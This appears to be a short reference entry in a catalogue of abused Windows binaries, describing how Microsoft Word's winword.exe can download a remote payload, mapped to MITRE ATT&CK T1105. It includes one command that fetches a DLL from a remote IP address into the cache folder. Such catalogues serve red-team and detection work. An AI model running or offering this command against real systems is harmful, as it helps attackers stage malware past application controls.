.. / Winword.exe
Star

Microsoft Office binary


Paths:

Resources:
Acknowledgements:

Detection:

Download

Downloads payload from remote server
winword.exe "http://192.168.1.10/TeamsAddinLoader.dll"
Usecase: It will download a remote payload and place it in the cache folder
Privileges required: User
OS: Windows
MITRE ATT&CK®: T1105